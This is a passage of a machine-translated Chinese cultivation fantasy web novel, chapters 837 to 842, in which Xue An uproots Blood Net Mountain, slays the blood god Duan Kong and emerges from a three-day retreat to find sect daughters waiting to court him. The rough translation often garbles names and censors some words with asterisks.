    "Collaborating with the blood clan, willing to be a goblin running dog, and transforming innocent cultivators into blood demons without mind and emotion, this is two sins!"


    "Buying interstellar pirates and stealing the original power of other planets to supplement the heaven and earth aura of the Yuanyu Plateau is three sins!"


    Seeing this, Xue Nether grinned and said: "Xue An, I admit what you said, but now you are dead to the point where you can''t protect yourself. What can you do for me? Hahahahaha!"


    Blood Nether laughed wildly.


    Because when Xue An was speaking, the splashing blood had already rushed to the front, and then completely covered Xue An.


    No one can survive after being contaminated with blood.


    Even true immortals can''t.


    So in his opinion, Xue An is dead.


    Those onlookers were also pale when they saw this.


    Xue Liuli, Mu Ya and others were even more shocked, and then Mu Ya screamed, "My lord!"


    With that said, she was about to rise into the air to avenge Xue An


    But at this moment, I only heard a calm voice resounding through the sky.


    "Three sins are added, and their sins should be killed!"


    As he spoke, he saw a figure walking out of the **** sea filled with blood.


    "How is it possible! Even if you are an indestructible golden body, you will be eroded into nothingness under this **** water, how can you come out unscathed!" Seeing this, Xue Nether screamed as if seeing a ghost. .


    Xue An raised his mouth and smiled coldly, "Is this thing worthy of blocking me?"


    As he said, Xue An''s eyes flashed, and he stepped out.


    With him this step.


    The **** water suddenly began to churn and surging, and then condensed into a crystal clear and beautiful blood-colored lotus, supporting Xue An''s footsteps.


    Then, every time Xue An took a step, a lotus made of blood condensed naturally rose under his feet.


    The Blood Nether watching the scene of the lotus at this step couldn''t believe his eyes.


    When will this ghost blood water be so obedient?


    But Xue An would not give him time to think about this issue.


    Within a few steps, Xue An had already rushed to the blood nether, then raised his fist and blasted out.


    This is a punch that cannot be described in words.


    It was as if all the Qi of Heaven and Earth had been affected, and it was so shocking that it made people afraid to look directly at it.


    Although Xue Youming felt jealous, after all, he was also an immortal strong man who had touched a trace of the big Luo breath, so he just gave a cold snort.


    "Exit!"


    boom!


    Before Xue An''s fist, the space suddenly collapsed, and a dark crack appeared, and then all the power of Xue An''s fist was absorbed.


    This is the trace of Da Luo Law that Xue Nether controls.


    Take control of the space.


    "Xue An, you are indeed strong enough to even threaten me in time, but you forgot, I am a peerless fairy!" Xue Youming said with a sneer, while raising his hand.


    A giant claw condensed with blood smashed down towards Xue An''s head.


    For this blow, Blood Nether is full of confidence,


    After all, Xue An''s punch has been imprisoned by space, and he can''t get away at all.


    So Blood Nether was happy to prepare to meet Xue An''s smashed brain.


    But the next moment, all his joy was frozen on his face.


    Because the space on the side of his face suddenly rippled, and then burst into pieces, and then Xue An''s fist slammed, directly on his head.


    Xue Youming didn''t expect this in his dreams, and was caught off guard. This punch directly shattered his head and whole body.


    Then there came the frightened roar of Xue Nether in the void, "What''s the matter, how can you even hit me after hitting my control space?"


    At this time, Xue Anhao withdrew his hand in his spare time, and said indifferently: "You want to imprison me because of your weak Da Luo rules?"


    There was silence in the void.


    Then came the voice of Blood Nether, "Xue An, you are indeed strong enough, why don''t we discuss it, this matter will be revealed, what do you think?"


    Hearing these words, many practitioners were in a commotion.


    Because this is obviously Blood Nether showing weakness.


    Unexpectedly, Xue An actually won the fairy king!


    Many people secretly let out a sigh, thinking that this matter is finally over.


    But what Xue An said in the next second made the audience dead silent.


    "Just expose it? Haha, what I said, Bloodnet Mountain, I''m dead! And you, it''s sure to die!"


    boom!


    The crowd was in an uproar.


    In the void, Xue Nether''s anxious voice came even more.


    "Xue An, don''t deceive people too much, and it''s impossible for you to kill me now, I..."


    Xue An waved his hand and said lightly: "You are already integrated with this blood web mountain, haven''t you?"


    Xue Youming was startled, and then sneered: "Yes! So I advise you to still be less..."


    Xue An laughed, and the laughter interrupted Xue Youming''s words.


    "What are you laughing at?" Xue Nether roared angrily.


    Xue An''s laughter gradually stopped, and then coldly said: "Since you and this Blood Net Mountain are integrated, today, I will destroy the Blood Net Mountain together!"


    "Haha, Xue An, do you think this Bloodnet Mountain is another ordinary mountain? I tell you, after the baptism of 10,000 years of Taoism, this Bloodnet Mountain has already had a trace of luck, and you simply cannot destroy this place. Yes! I advise you to save worry!" Xue Youming sneered.


    Xue An was not moved at all, but took a deep breath, and then suddenly his figure began to skyrocket again.


    In an instant, he turned into a prehistoric giant with a height of one hundred thousand feet, almost flat with this blood web.


    Then he stretched out his hands and grabbed the towering blood-net mountain, and let out a loud shout.


    "With me, there is no such three words as impossible, give me... open!"


    boom!


    The Blood Net Mountain was shaken by Xue Ansheng.


    The earthquake trembled and the sky shook.


    Blood Nether''s panicked voice came from the mountain.


    "Do not����."


    But by this time it was too late to say anything.


    Seeing Xue An''s arms suddenly pulled up and forcefully, the towering blood web mountain was pulled up by Xue Ansheng, and then Xue An grabbed the top of the mountain and turned it forcefully.


    This blood web mountain was turned upside down, head down and toe up.


    The one who mentions the Blood Net Mountain, Xue An!

 Chapter 838： Great Luo is coming

    The audience was silent.


    Everyone looked at this shocking scene with sluggish expressions, and their brains fell into a blank state.


    If you talk about moving mountains and seas, many of the head teachers of the gods sects present can do it.


    But what they can deal with is only some small peaks that are not too high.


    The Optimus Pillar, which is as high as the Blood Net Mountain more than 100,000 feet high, and has good luck, is simply something they dare not even think of.


    Unexpectedly, Xue An used the supreme power to shake the Blood Net Mountain and hold it upside down in his hands.


    Such momentum naturally shocked these people.


    At this moment, I only listened to the angry howling of Blood Nether from the Blood Net Mountain.


    "Xue An, you forced me! Lord Blood God, please show up!"


    boom!


    With his voice.


    In the huge pit left after being pulled away by the Blood Net Mountain, a breath of surpassing everyone, transcending the law, and controlling life and death suddenly emerged.


    This breath came out.


    The entire Yuanyu Plateau was shaking.


    The practitioners who were watching were even more trembling, and they all knelt down involuntarily.


    Only some of the ancestors of the true celestial peak are still barely supporting them, and they are not kneeling.


    "This is... the breath of the real Immortal Lord Luo!"


    Someone was shocked and exclaimed.


    Rumbling.


    Seeing the void shaking, the heaven and the earth paled.


    Above the sky, there is a figure slowly appearing.


    This is a man with blond hair, eagle-nosed harrier eyes, and a beautiful dress embroidered with intricate patterns of the sun, moon and stars.


    "Blood Nether, what''s the matter with you, unexpectedly disturbed my deep sleep!"


    As soon as he saw this man, the Blood Nether hurriedly shouted in an extremely flattering voice: "Master Duankong, this man is a Chinese cultivator who will destroy my orthodoxy, and even the Blood Net Mountain will be pulled away. Please kill him. This officer, avenge me!"


    Hearing this, the blood **** of Duan Kong looked at Xue An, whose law body was upside down to the mountain, with cold blood in his eyes.


    "Chinese cultivator? Haha, I didn''t expect that after so many years, your Chinese tradition has not been cut off! It wouldn''t be wasting my sleep for so long."


    Xue An''s eyes grew colder, "So many years have passed...what do you mean?"


    Duan Kong knew that he had made a mistake, his face changed slightly, and then he sneered again, "Anyway, you are dying, so why not tell you? Back then, I went to the foundation of your Chinese with the great clans of the void!"


    Xue An''s eyes were as bright as ice, "Oh? So, did your blood **** clan also participated in the battle that year?"


    "That''s right! Haha, now I think about it, I really miss it! Those mighty blood is floating in the sky, and even the sun is dyed red. That picture is really beautiful!" The blood **** of Duan Kong said with some nostalgia. He didn''t pay attention to Xue An''s murderous intent.


    "Later I chased and fled Lu Yiyue and came to this world. I didn''t expect to have my blood **** realm heritage in this world, so I gave them a hand, and then completely imprisoned Lu Yiyue! And I stayed here. Sleeping guard."


    Speaking of this, the blood **** of Duan Kong hehe smiled.


    "Do you know why I didn''t kill Lu Yiyue completely, but only severely wounded him, and then suppressed the guards?"


    "Because I am just waiting for this day, waiting for your Chinese people to join the trap."


    "I know too well the tempers of your Chinese people. If you see your ancestors being bullied and seriously injured, you will never stand by! So this is a trap against your Chinese people."


    "And Lu Yiyue is the bait in the trap!"


    At the end, the blood **** of Duan Kong showed an almost crazy expression of excitement on his face.


    "You can cultivate into a golden immortal in the desperate situation of the earth, which shows that your talent is strong! But what I like most is the feeling of stifling genius! So today, you must die!"


    With his voice.


    The powerful and incomparable Ronaldo engulfed the audience around him, the void shattered, and the ghosts and gods howled!


    Under such power, the onlookers were all discolored.


    "It''s over! This Xue An is dead this time! Because this blood **** is obviously the real Daluo immortal, and it''s by no means comparable to the half-step Daluo in this world!" An ancestor muttered in absentia.


    There was also a solemn look in Xue An''s eyes.


    Because although this blood **** relies on the talent of the blood race to prove Da Luo, the rules are not complete, but it is Da Luo after all!


    Even in the heavens and worlds, it is the existence of guarding one side.


    It can be said that this will be the strongest battle since Xue An''s rebirth.


    "Xue An, this is your place to bury your bones. If you don''t obediently die, when will you wait?" Dukong burst out.


    The space around Xue An''s body began to collapse and shatter, and it seemed that the entire world was an enemy of himself. Under the suppression of the Infinite Qi Machine, Xue An''s Law Body was compressed a little bit.


    Everyone was shocked.


    Xue Liuli and Mu Ya exclaimed, "My lord!"


    But at this moment, Xue An looked up to the sky and smiled.


    "Ten thousand years, the Void Clan, the massacre that year is vivid, and your blood clan assisted in the abuse, it is even more unforgivable. Even if you are Da Luo, today...I will kill it!"


    Duan Kong sneered when he heard the words, "It is true that you have a good talent, but you forgot, no matter how strong you are, you are just a golden immortal, and I... but master the existence of the Law of Da Luo!"


    Xue An didn''t even pay attention to his clamor, but the brilliance in his eyes was flourishing, and then he said coldly.


    "In front of me, Da Luo... is also an ant!"


    After that, Xue An shook his arms, and then suddenly raised the Blood Net Mountain that he was holding upside down in his hand, and smashed it against the broken sky standing on the top of the sky.


    The 100,000-meter high mountain was like a club in Xue An''s hand, rounding and striking, and the momentum was so strong that it even set off a gust of wind, causing everyone to shake.


    boom!


    The space law that imprisoned Xue An established by Duankong was shattered by this blow, and sand and rocks splashed all over the sky.


    And Duan Kong''s complexion was also slightly condensed, and the killing intent in his heart became more fierce.


    This Xue An is so strong, and he can''t keep him, otherwise, in time, he will become the enemy of the blood race.


    Therefore, he gave a soft drink A **** long whip that was more than a thousand feet long appeared in his hand, and then he swiped it as a blow.


    Cut off the whip!


    The famous weapon of Blood God Duankong is also the origin of his **** name.


    This is a piece made from the remains of the ancient blood deity and then made by various void forging secrets, which has the power to smash the stars.


    So after a blow.


    A voice exploded throughout the high altitude of Yuanyu, and even a small half of it could be heard.


    At the same time, the whip shadow went straight to the blasting Blood Net Mountain.


    Xue Youming''s terrified cry came from the blood web mountain, "Master Duankong, I''m still in this mountain, please..."


    Duan Kong sneered, "To punish this officer, please feel wronged!"


    boom.


    Seeing the blood **** long whip and this blood net mountain bang together.

 Chapter 839： Advanced, half a step

    Then the Blood Net Mountain groaned overwhelmedly, and then from the point of contact, the rock began to turn into powder.


    In an instant.


    The tall mountain, which was originally one hundred thousand feet high, shattered.


    As for the Blood Nether, who used the mountain as its power, it also disappeared.


    All the repairers trembled for it.


    Because no one has seen such a earth-shattering battle.


    Using the mountain as a sword, counterattack with a whip.


    This is beyond the imagination of ordinary cultivators.


    At this time, the sky was scattered.


    Everyone looked around, wondering who wins and who loses.


    At this moment, Xue An snorted and took a few steps back, and there was a sound of broken porcelain from the tall Law Body.


    Afterwards, Xue Anhun showed dense cobweb-like cracks.


    Finally, after a crisp sound.


    Xue An''s Dharma body was completely shattered, and the body appeared.


    "grown ups!"


    "Xue An!"


    The onlookers were all shocked.


    And many people are sad.


    Although they may have had this or that view of Xue An before.


    But they can see everything that just happened.


    From the dialogue between them, one can also tell who is right and who is wrong in this matter.


    What''s more, this Duan Kong Blood God is obviously not a native race, but a demon **** from another world.


    Naturally, these practitioners are all eager to Xue An.


    Unexpectedly, Xue An, who had never been disadvantaged before, was helplessly defeated in the face of this great blood god.


    Deathly silence between heaven and earth.


    Many people looked at Xue An staggering, and at the same time, Xue An, whose face was pale, all showed a sad expression.


    "Oh, that''s Immortal King Daluo after all! Daluo''s power is enough to slaughter the stars. It is not surprising that Xue An is defeated!" Someone sighed softly.


    At this moment, Duankong Long Whip pointed at Xue An and smiled proudly.


    "Xue An, you can hold my whip, worthy of the word strong, but this is not enough to change your destiny! Today, I will kill you, and then go to the earth to completely destroy the world! "


    After all, this cut off a whip.


    The sound shook the fields, and the whip shadow was like a knife.


    Xue Liuli and Mu Ya reluctantly supported them, not allowing themselves to succumb to the power of Da Luo.


    That''s already their limit.


    Therefore, when they saw the blood **** whip that blasted towards Xue An, they could only scream, "My lord!"


    Then the two burst into tears.


    Mu Ya is even more inspiring.


    If an adult is killed, then even if he is crushed, he must fight this Duankong to the end.


    As for the others, they are all sad.


    But just when the blood **** whip was already present, everyone believed that Xue An was bound to die.


    A slender palm that looked like a sapphire jade suddenly stretched out, and then grabbed the blood god''s whip.


    Bang.


    A sonic boom exploded from the palm of the hand, but these hands were unharmed, and they were just like cast of iron and stone, and they didn''t move.


    Seeing this scene, the audience shook.


    Xue Liuli, Mu Ya and others covered their mouths with their hands and wept with joy.


    Duan Kong couldn''t help but change his complexion, shaking in his heart.


    Actually picking up my Blood God''s whip with bare hands, how strong should Xue An''s body be?


    But although he was shocked, he didn''t stop in his hand, and suddenly waved.


    He wanted to crush Xue An''s body with a long whip.


    At this moment, I saw Xue An slowly raise his eyes, the Dao Fa evolved in his eyes, the rules loomed, and the aura in his body was undulating like a vast ocean.


    Then he speaks slowly, his words are very powerful.


    "The heavens and all realms, strength is the respect! Today, I will break through this realm and slaughter Daluo! I will recover the Chinese blood debts one by one!"


    With the voice.


    Xue An''s body suddenly soared.


    moment.


    It''s like breaking through a barrier.


    Xue An showed thousands of golden light all over his body, and his aura shocked the world.


    "You actually broke through at this time?" Many people looked at them dumbfounded.


    Duan Kong also changed his complexion, but Xuan even calmed down, and then sneered.


    "I think it was a great breakthrough, but a real fairy! This still can''t change your dying destiny!"


    As he said, he grinned and prepared to mobilize the blood god''s whip to strangle Xue An.


    Xue An raised the corner of his mouth, smiled coldly, and then suddenly shook the whip.


    boom.


    After a loud noise.


    This blood **** long whip was actually cut off by Xue Ansheng.


    Then Xue An''s figure instantly appeared behind this Duankong, raising his fist and blasting out.


    Click.


    Duan Kong didn''t have time to react at all, and was directly blown out with a punch. A crack appeared in the originally pure and flawless divine body at this moment.


    "What''s the matter, how can you have such a strong speed?" Shu Feng roared anxiously.


    But this is just the beginning.


    As soon as Dukong''s roar fell, Xue An''s punch had already hit his cheek.


    Duankong screamed and was knocked out hundreds of miles away.


    But before he could stand still, Xue An was already waiting for him here.


    Boom boom boom!


    After a few punches.


    There were many terrifying cracks on this broken divine body, as if it was about to break in the next moment.


    But no matter how Duan Kong roared and how unwilling he was, his speed couldn''t catch up with Xue An.


    at last.


    Duan Kong roared and fisted Xue An, and then the brilliance flickered behind him, and a pair of giant wings nearly ten miles long appeared.


    "Xue An, you forced me to show my body and hurt me for thousands of years. I will peel you off!" Duan Kong roared furiously.


    We must know that the stronger the blood clan, the higher the cost of wanting to show the body.


    What''s more, this Duan Kong just woke up from a deep sleep and awakened the body, it would have to consume thousands of years of Taoism.


    Therefore, this Duan Kong simply hates the roots of the teeth.


    Xue An didn''t even move his eyelids, but said lightly: "Noisy!"


    After all, the figure flashed again, and it was about to bombard.


    It can be seen that after the body is cut off, the speed and response ability have increased more than ten times.


    Therefore, after a flash, he avoided Xue An''s punch.


    Then Duan Kong grinned and said: "Everything should be over! Take control of the space!"


    With the voice Xue An''s space around him crazily collapsed inward, and the horrible space cracks completely swallowed Xue An.


    This is more than a hundred times more powerful than the spatial law of the Blood Nether.


    But Xue An didn''t even move, the light in his eyes was like the sun and the moon, and then he softly shouted: "My law, cause and effect!"


    boom.


    The boundless force of cause and effect directly blasted these spatial laws of Duankong.


    Rules collide, Dao law collides.


    These spatial laws were completely destroyed without being able to sustain a single breath.


    Duan Kong was like a little girl who was molested by several big guys, shaking her body and screaming in shock.


    "The law of causality, you are just a half-step true fairy, how can you master such a strong rule!"

 Chapter 840： Under cause and effect, all are ordinary people

    No wonder this blank space would be so shocking.


    Jinxian is 10%, supernatural powers are born by itself.


    And this magical power is the most superficial application of the power of law.


    But this cannot be called a law.


    Only by achieving true immortality can one glimpse the avenue of law.


    As for Da Luo, it means that he has comprehended the most true law applicable to the heavens and all realms.


    And the power of the law is the same as the Dao Fa Xianshu, there are high and low strengths.


    Although some true immortals are powerful, the laws they can comprehend are very tasteless, and this is also destined to not be too high in their future achievements.


    Only by comprehending the powerful law, can Da Luo hope, and even get a glimpse of the deity of the fairy king.


    As Da Luo, this Duan Kong relied largely on the kinship talents to opportunistically, but after all he mastered a powerful space law.


    Therefore, even among the big Luo, he is considered to be the best.


    But Duan Kong knew that his strength was still too far behind the ancient Taoism or Void Clan in the depths of the stars.


    Because these great religions and Protoss who have passed on for thousands of years often have the magical skills of condensed laws.


    Under the cultivation of such powerful magic arts, these preachers of great teachings will often have the power of unparalleled law.


    For example, some can control the five elements, and some can even overthrow Yin and Yang.


    But among the heavens and all realms, there is another type of law because it is mysterious and unpredictable, but at the same time it is unparalleled in power, so it is also called the law of immortality.


    The power of laws such as Zhi Rui and Zhi Jian is called the law of immortality.


    Ke Duan Kong had occasionally heard an adult Blood Lord chatting.


    In his description, there are even more shocking existences on top of this immortal law.


    But these rules are extremely rare, and may only be inherited by the true gods.


    Among these laws, the most mysterious and unpredictable is probably the power of causality.


    At that time, Duan Kong was shocked, thinking that it might only exist in the legend.


    But he never dreamed that today, in this deserted place, he would actually see the emergence of the law of cause and effect.


    Just in the incomparable shock and horror of this Duan Kong.


    Xue An said calmly: "The heavens and all realms, I used to dominate, remember, the extinction of the blood family begins with you!"


    Hearing what Xue An said, Duan Kong was taken aback, and then a shocking thought suddenly appeared in his mind.


    Then he exclaimed: "You are..."


    He wanted to shout out those words.


    But at this moment, when Karma was added, his whole body was completely imprisoned, and only a pair of eyes were still frozen with infinite fear.


    Because he understood Xue An''s words.


    The heavens and the world.


    Daluo can be a prince of a star field, the fairy king is the venerable guarding the starry sky, and the fairy emperor is the monarch of the sky.


    But these people can only be regarded as powerful.


    The only one who can be called the dominion of ten thousand realms is the immortal deity standing on top of a trillion people.


    There is only one explanation for Xue An to comprehend the law of cause and effect with half a step of true immortal cultivation.


    That is, he is Xianzun coming again.


    This thought made Duan Kong feel endless regret and fear.


    But by this time it was too late.


    Although he is a big Luo, he is also ordinary before causation.


    So he was completely imprisoned in an instant.


    Then Xue An yelled coldly, "Broken!"


    Before, Xue An''s magical powers could only be reversed.


    At this moment, he could finally use the karma''s superb killing skills.


    Shattered.


    boom.


    With Xue An''s order.


    The body of this broken blood **** was like a weak paper, which was instantly crushed by the surging force of cause and effect, and then turned into nothingness, with no scum left.


    one strike.


    Destroy the blood god, the soul and spirit.


    The world is empty.


    Everyone watched silently.


    Looking at the man standing on top of the sky.


    Mu Ya, Xue Liuli and others were shaking with excitement.


    Especially Muya.


    She looked at everything in front of her almost greedily, as if she wanted to engrave Xue An''s image in her mind.


    No one dared to speak.


    The wilderness is silent.


    Until a moment later, Xue An''s slightly exhausted voice came, "Bloodnet Mountain, I will retreat here for three days! Wait for you to retreat!"


    As soon as this statement came out, many cultivators looked at each other.


    Could it be... Xue An was also injured?


    At this moment, Xue Anxin was swiping between heaven and earth.


    A gap that was wider than Li Xu appeared in the void and extended to the sky far away.


    "Since today, this place has been a three-foot forbidden land. Those who have passed this line will be killed without mercy!"


    After that, Xue An fell, closed his eyes cross-legged, and began to meditate.


    Xue Liuli and Mu Yajianqi also walked forward without hesitation, sitting cross-legged in front of the gap, silently closing their eyes.


    The rest of the practitioners glanced at each other.


    Some patriarchs or family ancestors saw Xue An''s injury, and an idea inevitably came up in their hearts.


    If you want to kill this person, now is the best time.


    But when they looked at each other''s faces, these people all dispelled the thoughts in their hearts.


    Because no one can guarantee that Xue An still has spare energy.


    What''s more, just relying on Xue An''s hand in the void just now is enough to be daunting.


    So after a little hesitation.


    Whether it is a real immortal strong or ordinary cultivator, they all salute Xue Anshen who is far away, and then retreat here respectfully.


    In fact, as many people thought, Xue An was indeed seriously injured.


    The long whip of the Blood God that Duankong smashed the Blood Net Mountain and shattered Xue An''s Law Body.


    Xue An was also seriously injured at that time.


    After all, Duan Kong was a big Luo strong, and Xue An was just a golden immortal.


    This challenge spanning a major level is indeed fraught with danger.


    However, Xue An took advantage of this opportunity to directly destroy the cultivation base, and then was broken and reborn, ascending a half-step true fairy.


    This made Xue An''s strength more than a hundred times stronger, and finally succeeded in killing this Duan Kong.


    However, the emergency situation also caused Xue An''s body qi to appear unstable.


    This is the reason why Xue An wants to retreat for three days to regain interest.


    And when Xue An adjusted the Qi machine to repair his injury.


    Regarding everything that happened on the Blood Web Mountain, it swept across the entire unity at an extremely terrifying speed.


    Those who heard it all changed color in astonishment.


    "What? The Blood Net Mountain was uprooted, and even Daluo''s visit failed to shake Xue An''s Shenwei but was killed by him?"


    Waiting to see the jokes in that big dream city, many practitioners heard this, and they couldn''t help but shudder.


    And when the news came back to Banten City.


    The father and daughter of the Lu family in Chaotianfang were speechless.


    Naturally, they all knew what Xue An had done before.


    When the Blood Net Mountain held a ceremony for asking the truth and intended to kill Xue An, the Lu Family Patriarch and everyone in the Lu Family were still very happy, thinking that Xue An was dead this time.


    But Lu Baiyue was not so optimistic, but she was also a little hesitant in her heart, thinking that Xue An would have to suffer this time.


    But I didn''t expect that the facts would slap everyone in the Lu family''s face like a slap in the face.


    After a while, Lu Lie said with a sigh of relief: "The order continues. From then on, the word revenge will not be mentioned again!"


    At this moment, a similar scene is being staged among the various family sects.

 Chapter 841： Recalcitrant

    The Valley of the Fierce Demon.


    As the number one existence of the Shi Tianzong, this evil demon valley occupies a very wide area, and the strong under the sect has appeared in large numbers, as if it is already the overlord of the territory of tens of millions of miles.


    now.


    In the hall of the Valley of the Fierce Demon.


    The elders left on duty are chatting.


    "I don''t know what happened to this grand ceremony, did the kid who killed the young master give the leader!" said an elder sitting upright.


    "Haha, the great elder is worried, the ancestor personally left the customs, and there are many true legends of the arrogance of Blood Net Mountain, isn''t it easy to deal with a little boy?" The elder chuckled.


    All the elders in the hall nodded upon hearing this.


    "If you want me to say, why bother to spend such a big Zhou Zhang, I went straight over at the time, and it would be over if I caught this kid back!" An elder Qiubeard said with disdain.


    From the beginning, he felt that the ancestor had made a fuss.


    It''s nothing more than a young powerhouse with a bit of cultivation.


    What can you do to spoil the sky?


    If I caught him back in the past, it would end.


    Where else is there to hold a ceremony for asking the truth.


    The rest of the elders all know that this old man with whiskers has a grumpy temper, but his cultivation is indeed one of the best besides the ancestor in the evil demon valley.


    Just as their group of elders were discussing in the hall.


    Just listen to a sudden violent noise outside.


    All the elders in the hall sank.


    "What is so noisy outside?" The Great Elder asked in a deep voice.


    If there are disciples, they have to go out to check.


    At this moment, the door of the main hall was pushed open, and then a disciple rushed in with sweating profusely and anxiously.


    "Long...Elder...The big thing is not good!"


    The great elder''s face sank like water, "What kind of decent panic, what happened, let''s talk about it slowly!"


    With that said, he still took a sip from the teacup while the old **** was there.


    But the next moment, all the tea he just drank was sprayed out.


    Because the disciple said tremblingly: "Old...the ancestor has fallen on the Wenzhen Ceremony!"


    "what?"


    The many elders in the hall all stood up suddenly, their faces full of horror.


    The great elder even shouted, "What the **** is going on? Did the people from Blood Net Mountain take action?"


    In his opinion, to kill the fierce demon ancestor, then only the people of Blood Net Mountain would make it possible.


    But this disciple showed a wry smile and shook his head, "No! And now even the Blood Web Mountain no longer exists!"


    This statement came out.


    There was a silence in the hall, and then there was a sound of reprimand.


    "absurd!"


    "Nonsense, could it be that you have gone crazy or lost your mind?"


    The elder Qiubeu even exploded his beard and eyebrows, "Boy, you are full of Hu Qin, how can your ancestors fall? And the Blood Net Mountain is even more valuable to Yuanzong, why would it not exist?"


    This disciple was about to cry, "How dare a disciple make a joke about this kind of thing, this matter is indeed true!"


    "Then who would have such a sky-reaching method that can actually destroy both the ancestor and the Blood Net Mountain?" the elder asked in a deep voice, also full of unbelief.


    The disciple took a deep breath, "It is the Xue An who killed the young master!"


    "what?"


    All the elders in the hall were taken aback, and then they showed incredible colors.


    "How is this possible? Even if Xue An is a wizard of Tianzong, how can he be the opponent of so many powerhouses in Blood Net Mountain?" Elder Qiu Xu roared.


    The disciple turned pale with fright, suddenly remembering something, and hurriedly took out a jade charm.


    "The disciple can''t say it clearly, but I recorded the whole process through the water mirror technique. Please see, elders!"


    Elder Qiuxu cursedly stepped forward to take the jade talisman, and then activated the secret technique in it.


    A huge water mirror reflected on the wall of the main hall.


    All the elders looked carefully.


    At the beginning, these elders were still relaxed, thinking that this disciple must have been frightened by something, so they were talking nonsense.


    But as the situation recorded in the water mirror evolves, the smiles on the faces of these elders gradually freeze.


    Especially when the elders of the fierce demon were beheaded by Xue An with a sword, these elders all changed color in fear.


    "Ancestor!"


    "Master!"


    These screams came and went one after another.


    But then, they were attracted by the next scene again, staring dumbfounded.


    Wait until all the pictures in the water mirror are finished.


    There was no sound in the whole hall.


    All the elders were horrified.


    Because Xue An''s strength in the screen is too amazing.


    Pulling mountains as a sword, slaying Daluo.


    All sorts of near-impossible deeds all came from the hands of this young man who did not seem to be weak.


    These facts naturally shocked these elders.


    The elder beard who was still full of arrogance just now was even more pale at this moment, sweating profusely, fighting with each other, and could not even speak.


    Then all eyes turned to the Great Elder.


    After all, now the ancestor has fallen, he is the person with the strongest qualifications and prestige in the Valley of the Devil.


    Although this great elder was also pale, he still managed to stay awake anyway.


    He hesitated for a moment before he said with hatred: "The old ancestor and the young master have been destroyed by this person. My Ferocious Demon Valley and this person are not in the same hatred, and this Xue An should not stop there. , Block the gate, activate the mountain protection formation, wait for the opportunity!"


    Speaking of protecting the mountain array.


    The complexions of the elders in the hall just looked better.


    "Yes! Start the mountain protection formation!"


    "I don''t believe that Xue An''s supernatural power can shock the world, and can shake the earth power and dragon energy that we have accumulated over thousands of years!"


    These elders were all shocked and immediately began to prepare.


    quickly.


    The evil demon valley in the territories of thousands of miles, it boiled.


    Countless disciples began to take their place, and began to activate the mountain protection formation.


    Since the beginning of this evil demon valley, this great mountain protection formation has been created.


    However, it usually doesn''t activate at all, but extends the formation pattern deep into the depths of the earth, absorbing the power of the earth veins in the territory of tens of millions of miles, silently preparing for the future use.


    Until today , this mountain protection formation was launched in full form for the first time.


    I saw a thousand miles of earth-yellow earth power completely covering the entire Vicious Demon Valley.


    The vigorous earth power accumulated over thousands of years makes this valley of evil spirits solid.


    Seeing this scene, everyone in the Valley of the Devil was relieved, thinking that they could sit back and relax.


    And this move of the Ferocious Demon Valley spread quickly.


    Many sect families can''t help but watch in secret.


    They all want to know how Xue An will deal with this vicious valley when he leaves the customs.


    It is estimated that this time he will retreat because of difficulties!


    Many people thought of it silently.


    Just in this case.


    The three-day period has come.

 Chapter 842： 100 years is too short, 100 million years is good

    This day.


    Long days are empty.


    In the airspace a hundred miles away from the Bloodnet Mountain, numerous boats and ships gathered.


    And on these boats and ships, all are the daughters of Tianjiao from various sects.


    These women are either charming or charming.


    But without exception, they are all stunning women with noble blood and strong cultivation.


    now.


    These Yingying and Yanyan stood on the bow, looking at the abyss that traversed the void hundreds of miles away.


    "Is this really what he did casually?" a woman whispered softly.


    Everyone was silent.


    In fact, this group of goddesses from the family sect had arrived as early as the day Xue An retreated.


    There is only one purpose.


    That is to try his best to get close to the man who has reached the top of this world with the strength to cut Da Luo.


    At the beginning, the women were still confident these days.


    Can wait over time.


    There are more and more prostitutes, and their identities and cultivation bases are becoming more noble and powerful.


    These people couldn''t help feeling the deep pressure.


    But since they can become the princes of the princes of the world, naturally all have their own advantages, so no one is subdued at the moment, all suffocating their breath, and are ready to try their best to approach Xue An.


    And for them, this is not an unspeakable shame at all. On the contrary, they naturally feel that it is a very glorious thing to be able to cling to a peerless powerhouse like Xue An.


    This is what their respective clan families have repeatedly instructed and emphasized.


    After all, in this Guiyixing, everything is respected by strength.


    You just need to have strength.


    So no matter how ugly you look and how old you are, there will be countless women eager to become your bed-warming pet.


    What''s more, in the past few days, Xue An has destroyed the Blood Net Mountain, and the water mirror video of Daluo Force has been transmitted to the whole unit.


    Naturally, these women have also seen it.


    In the water mirror image, Xue An has a handsome face and a noble and detached temperament, which makes these prostitutes who have always regarded themselves highly spurred by the love of spring.


    "The three-day period has come, Master Xue should be leaving soon!" said a woman wearing a red dress and showing her slender figure.


    "Didn''t the Nishang Fairy have been married for a long time? How come to join in the excitement?" a cold temperament woman on the side said.


    There was a hint of sarcasm in the tone.


    The woman in red didn��t feel embarrassed at all when she heard the words, and said indifferently: ��I��m not satisfied with the husband that the family found for me before, so I have retired! And only a shocking power like Master Xue is mine. Home."


    These words made the cold-tempered woman let out a cold snort.


    "It''s as if you can see you as soon as you go to Master Xue!"


    "Hehe, Li Bingyan, isn''t it the same for you? You still claim that a piece of ice is in the jade pot. I have never touched a man. Why did you come here eagerly this time?" The woman in red sneered.


    This Li Bingyan''s expression remained unchanged, and he said calmly: "Women naturally like heroes and strong men! I haven''t been tempted before because those men are mediocre people, none of them are heroes! I didn''t fall in love with Master Xue until he appeared. !"


    "Huh!" The woman in red sneered and wanted to say something.


    at this time.


    In the distance, there was a momentum rising into the sky, even though they were separated by hundreds of miles, it still shocked the women.


    "It''s an adult!"


    "Master Xue is awake!"


    These women were all shocked, knowing that Xue An had already left the customs, immediately scrambled to urge the boat to fly to Tianyuan, a hundred miles away.


    now.


    Xueliu Mu Ya and Jian Qisan who were meditating in front of Xue An were also awakened by the momentum, and immediately turned to look.


    I saw Xue An''s momentum around her body undulating like stormy waves, and even various illusions evolved.


    Suddenly, these auras suddenly returned to Xue An''s body.


    Then Xue Ancai slowly opened his eyes.


    As Xue An opened his eyes and raised his eyes.


    It was as if there had been a flash of light between heaven and earth.


    The hearts of the many concubines who came to Tianjiao were shocked.


    Knowing that it was caused by the light in Xue An''s eyes.


    Then Xue An''s brilliance diminished, and the aura of the whole person gradually returned to the original. In the end, even the whole person was a few years younger, becoming like a young man with a weak crown.


    Xueliu, Mu Ya and Jian Qisan were extremely excited, bowing and saluting.


    "grown ups!"


    Xue An raised his mouth, nodded and smiled.


    In these three days, Xue An has benefited a lot.


    The first is to thoroughly consolidate the cultivation base of the half-step true immortal, and the second is to reorganize all the moods, a Taoist heart becomes clear and clear, and there is no flaw.

